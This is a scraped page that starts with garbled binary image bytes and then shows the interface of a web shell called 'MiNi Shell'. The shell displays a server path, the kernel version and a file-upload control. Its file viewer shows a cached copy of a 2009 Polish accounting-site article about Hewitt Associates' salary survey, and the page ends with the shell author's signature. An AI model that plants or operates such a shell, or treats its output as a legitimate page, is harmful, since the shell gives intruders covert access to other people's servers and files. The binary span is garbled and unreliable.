JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/frontend/runtime/cache/b2/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : //home/vmanager/www/frontend/runtime/cache/b2/b264d6f8cc47fc8809b81b8c8fab1c6a.bin

a:2:{i:0;a:2:{i:0;s:8302:" 
                    
                    <h3 class="title" itemprop="headline">12. edycja TCM&#8482; &#8211; badania wynagrodzeń Hewitt Associates. Ile firm zdecyduje się zamrozić płace pracowników w</h3>
                    <p><span class="glyphicon glyphicon-time" aria-hidden="true"></span> <strong itemprop="datePublished"> 25-02-2009, 00:00</strong>
                        <meta itemprop="dateModified" content=" 25-02-2009, 00:00"/>
                        <div class="hide" itemprop="description">
	Hewitt Associates, firma doradcza i outsorcingowa specjalizująca się w rozwiązaniach z zakresu zarządzania zasobami ludzkimi, rozpoczęła dwunastą edycję badania TCM&trade; - Bazy Danych Wynagrodzeń Całkowitych w Polsce. Wyniki tegorocznej edycji zostaną zaprezentowane w sierpniu bieżącego roku. Hewitt Associates prowadzi badania TCM&trade; w 76 krajach swiata, od 27 lat. W Polsce badanie obecne jest od 1997 roku.</div>
                        <div class="hide" itemprop="publisher" itemscope itemtype="https://schema.org/Organization">
                            <meta itemprop="name" content="ksiegowosc.org">
                            <div itemprop="logo" itemscope itemtype="https://schema.org/ImageObject">
                                <meta itemprop="url" content="https://www.ksiegowosc.org/images/loga/ksiegowosc.jpg">
                            </div>
                        </div>
                        <div class="hide" itemprop="image" itemscope itemtype="https://schema.org/ImageObject">
                            <meta itemprop="url" content="https://common.v-manager.pl/uploads/images/articles/12184/crop/800x600/art_3709_img_1-521409001571969293.webp">
                        </div>
                        <meta itemscope itemprop="mainEntityOfPage" itemType="https://schema.org/WebPage" itemid="https://www.ksiegowosc.org/artykuly/szczegoly/12184"/>
                        
                                        </p>

                    <div class="lorem">
                        <p>
	 </p><table border="1" cellpadding="1" cellspacing="1" frame="void" rules="none" style="float:left;background-image:none;vertical-align:top;border-top-style:none;border-right-style:none;border-left-style:none;text-align:left;border-bottom-style:none;">
	<tbody>
		<tr>
			<td>
				<strong><img border="0" hspace="0" src="https://common.v-manager.pl/uploads/source/articles/12184/hewitt.logo.250209.webp" loading="lazy" alt="hewitt.logo.250209.webp" /></strong></td>
		</tr>
	</tbody>
</table><p>
	<strong>Hewitt Associates, firma doradcza i outsorcingowa specjalizująca się w rozwiązaniach z zakresu zarządzania zasobami ludzkimi, rozpoczęła dwunastą edycję badania TCM™ - Bazy Danych Wynagrodzeń Całkowitych w Polsce. Wyniki tegorocznej edycji zostaną zaprezentowane w sierpniu bieżącego roku. Hewitt Associates prowadzi badania TCM™ w 76 krajach swiata, od 27 lat. W Polsce badanie obecne jest od 1997 roku.</strong></p><p>
	„Rok 2009 będzie bardzo interesujący dla osób zajmujących się tematyką związaną z wynagrodzeniami. Po zeszłorocznej fali wysokich podwyżek, oraz rynku, na którym to pracownicy dyktowali warunki, nadszedł czas schłodzenia. Zeszłoroczne założenia nie mają odzwierciedlenia w nowej rzeczywistości. W obecnych warunkach dwucyfrowe podwyżki stały się już historią. Kluczem do sukcesu, jest posiadanie praktycznej informacji, która pozwoli optymalnie zarządzić kosztami. Takim narzędziem jest nasz raport, który odpowie na pytanie czy nastąpi zahamowanie wynagrodzeń czy też wciąż będzie na rynku optymizm przejawiający się stabilnym wzrostem" - powiedział Tomasz Dziekanowski, Menedżer Działu Wynagrodzeń w Hewitt Associates.</p><p>
	Baza Danych Wynagrodzeń Całkowitych TCM™ (Total Compensation Measurement™) jest profesjonalnym narzędziem do zarządzania budżetem wynagrodzeń w firmie. Pozwala porównać poziom wynagrodzeń stosowanych w firmie do rynku, śledzić tendencje i trendy płacowe panujące w poszczególnych branżach, na określonych stanowiskach. W TCM™ 2009 pojawia się nowe narzędzie do kompleksowej analizy wynagrodzeń całkowitych - aplikacja Global Rewards System (GRS). "Dzięki zastosowaniu najnowszych narzędzi GRS proces przekazywania danych będzie bardziej efektywny, co zagwarantuje szybsze udostępnienie raportów uczestnikom i wdrażanie ich w codzienny proces zarządzania wynagrodzeniami " – komentuje Piotr Bielawski, Menedżer Projektu TCM.</p><p>
	Każda z firm zaproszonych, przez Hewitt do udziału w badaniu wynagrodzeń TCM™, która przekaże informacje o aktualnym poziomie wynagrodzeń swoich pracowników, w sierpniu br. otrzyma kod dostępu do raportu podstawowego umieszczonego na stronie do <a href="http://www.totalcompensationcenter.com/"><font color="#0000ff">www.TotalCompensationCenter.com</font></a>. „Firmy zainteresowane szczegółową analizą mogą zamówić praktyczne raporty rozszerzone. W takim przypadku istnieje możliwość generowania nieograniczonej liczby raportów, w podziale na region, branżę lub inne kryteria.” – dodał Piotr Bielawski.</p><p>
	Hewitt zapewnia pełną poufność zbieranych danych – wyniki prezentowane są jedynie w formie statystycznych podsumowań. Raporty z badania są dostępne tylko dla firm, które biorą udział w badaniu.</p>
                        
                         


                           
                    </div>
                    
                    <div class="text-center">
                                        </div>

                                            
                      
                        
                        
                    
                                        
                                            <div class="nav-table tags mt05">
                            <div>Tagi:</div>    
                            <div>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=outsourcing" class="label label-default">outsourcing</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=Hewitt+Associates" class="label label-default">Hewitt Associates</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=zarządzanie+zasobami+ludzkimi" class="label label-default">zarządzanie zasobami ludzkimi</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=doradztwo" class="label label-default">doradztwo</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=TCM&amp;#8482;" class="label label-default">TCM&amp;#8482;</a>
                                                            </div>
                        </div>
                                            
                        
                    <div id="fb-root"></div>
                    <!--script async defer crossorigin="anonymous" src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0" nonce="2g9iczzS"></script-->
                    
<script>
//<![CDATA[
var lx=!1;window.addEventListener("scroll",function(){(0!=document.documentElement.scrollTop&&!1===lx||0!=document.body.scrollTop&&!1===lx)&&(!function(){var e=document.createElement("script");e.type="text/javascript",e.async=!0,e.src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0";var a=document.getElementsByTagName("script")[0];a.parentNode.insertBefore(e,a)}(),lx=!0)},!0);
//]]>
</script>
                    
                    <div class="social text-center mb1">
                        <div class="fb-like" data-href="https://www.ksiegowosc.org/artykuly/szczegoly/12184_12-edycja-tcm8482-8211-badania-wynagrodzen-hewitt-associates-ile-firm-zdecyduje-sie-zamrozic-place-pracownikow-w" data-width="" data-layout="button" data-action="like" data-show-faces="false" data-share="true"></div>
                    </div>

                    
                    <div id="articles">    
                        
                    
                                    ";i:1;N;}i:1;O:25:"yii\caching\TagDependency":3:{s:4:"tags";a:2:{i:0;s:13:"article_12184";i:1;s:8:"articles";}s:4:"data";a:2:{s:32:"83c707ac52fede917a2328277a6d0df5";s:21:"0.20238200 1746441667";s:32:"9f4ebfa1b76d6bc6617aec9034853422";s:21:"0.22954000 1749980350";}s:8:"reusable";b:0;}}

Creat By MiNi SheLL
Email: jattceo@gmail.com